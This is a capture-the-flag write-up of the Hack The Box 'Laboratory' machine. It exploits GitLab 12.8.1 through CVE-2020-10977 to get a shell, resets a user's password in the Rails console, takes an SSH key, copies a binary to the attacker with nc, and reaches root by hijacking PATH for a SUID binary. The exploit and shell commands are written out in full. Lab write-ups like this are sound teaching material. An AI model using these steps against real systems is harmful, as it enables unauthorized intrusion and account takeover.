Laboratory was an easy machine with a direct exploit for the user,but it was hard to exploit in terms of stability. The user shell was clumsy and the git instance returned 502 in between the exploit phase.It had GitLab instance running as a vhost and that was the reason for the name. Dexter from the animated series “Dexter’s Laboratory” was the CEO of the laboratory. The exploit was similar to a currently active box.
The initial phase of the Nmap scan gave three ports.
Nmap scan report for 10.10.10.216
Host is up (0.20s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
After adding laboratory.htb to the hosts file, browsing http://laboratory.htb, it was redirected to https://laboratory.htb.Browsing to port 80 with IP also redirects to https://laboratory.htb
Before doing an enumeration on the page, the SSL certificate was checked.SSL certificate had a DNS name git.laboratory.htb.That was added to the hosts file and resumed examining the laboratory. There were three testimonials from dexter, dee dee, and the anonymous hacking group. Apart from that, index page had no information regarding any exploit or path to the user.
Since a vhost was added to the hosts file, directory bruteforcing was skipped, and browsing the git.laboratory.htb responded with a GitLab login page.GitLab is a web-based DevOps lifecycle tool that provides a Git-repository manager providing wiki, issue-tracking, and continuous integration and deployment pipeline features, using an open-source license, developed by GitLab Inc. The page had both login and register functionalities, but registration was limited to laboratory.htb users only. The account was created using an email address under the laboratory domain (example@laboratory.htb).
Logging in to Gitlab was not helpful, the new user had no groups, projects, or any documentation for the internal team. Navigating around the application, the exact version was spotted( 12.8.1 ).Gitlab always has exploits taking a seat in the internet and HackerOne. The version had an arbitary read file vulnerability assigned with CVE-2020-10977.An RCE was possible by getting the secret_key_base from /opt/gitlab/embedded/service/gitlab- rails/config/secrets.yml as mentioned in the CVE.Searching the internet for public exploits revealed there were two exploits available, a Metasploit module and a python exploit in Github. Getting the shell with the python exploit was easy, when compared to filling out the options in Metasploit.
$ python3 gitlab_rce.py https://git.laboratory.htb <attacking-IP>
The shell was not interactive and upgrading the shell failed, it was opened at /var/opt/gitlab/gitlab-rails/working as user git inside a docker environment. The shell had limited privileges and escalating the privileges was required to move forward.This might feel a bit difficult if you are not familiar with the GitLab configuration. Since dexter was the CEO the user has to be dexter but there were no files or folders available in the directory. Gitlab has a console that can be used to reset the password of a user. An archived documentation was available at Gitlab docs. But the shell was not stable and the GitLab instance returned 502 frequently. Getting a shell was easy but changing the password using the console was tedious.Considering the dangling shell ,exploitation was moved to Metasploit : exploit/multi/http/gitlab_file_read_rce. After getting a shell in Metasploit the password was reset using the console.
gitlab-rails console -e production
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
user = User.find_by(email: 'dexter@laboratory.htb')
Loading production environment (Rails 6.0.2)
Switch to inspect mode.
user = User.find_by(email: 'dexter@laboratory.htb')
nil
user = User.find_by_username 'dexter'
user = User.find_by_username 'dexter'
#<User id:1 @dexter>
user.password = 'secret_pass'
user.password = 'secret_pass'
"secret_pass"
user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
"secret_pass"
user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: e9bb3b31-a5b0-40f2-be0b-05565f46e641)
to Sidekiq(mailers) with arguments:
"DeviseMailer", "password_change", "deliver_now",
#<GlobalID:0x00007f10f1ece448 @uri=#<URI::GID gid://gitlab/User/1>>
true
The password reset was successful, using the above credentials GitLab was accessed. There were two projects available in the dashboard.
The second project had confidential and personal stuff as mentioned in the project description. An SSH key for the user dexter was located at https://git.laboratory.htb/dexter/securedocker/-/tree/master/dexter/.ssh.After copying the SSH key to the attacking machine, the permission was changed to 400. SSH access to machine as user dexter had the privileges to read the user.txt.
$ chmod 400 id_rsa
$ ssh -i id_rsa dexter@10.10.10.216
Pre linpeas checks were done, checking the groups and hidden files, since it was accessed using SSH Sudo privileges had no role. There was a reference about securedocker in dexter’s project, considering that, files with SUID permission were listed.
dexter@laboratory:~$ find / -perm -u=s -type f 2>/dev/null
.
..
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/usr/local/bin/docker-security
..
.
The result had a custom bin file named docker-security . Strings was not installed in the machine, the file was transferred to the attacking machine using Netcat.
Attacking machine
$ nc -lvnp 1234 > docker-security
Laboratory
dexter@laboratory:~$ nc -w 3 10.10.14.34 1234 < /usr/local/bin/docker-security
Using the strings command, strings included in the file were listed. There were lots of strings but one chmod made a potential match for privilege escalation, because chmod was executed using a relative path.
$ strings docker-security
.
..
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock
;*3$"
GCC: (Debian 10.1.0-6) 10.1.0
..
.
The escalation part was easy, create a chmod executable and export its path. In Linux, the shell looks for the requested executable in $PATH, then runs the first match. A chmod file was created in /tmp, changed the mode to executable, and exported the path./bin/bash was added to the chmod file for escalating the privileges. Laboratory was rooted by running the docker-security.
dexter@laboratory:/tmp$ nano chmod
/bin/bash
dexter@laboratory:/tmp$ chmod +x chmod
dexter@laboratory:/tmp$ export PATH=/tmp/:$PATH
dexter@laboratory:~$ /usr/local/bin/./docker-security
root@laboratory:~#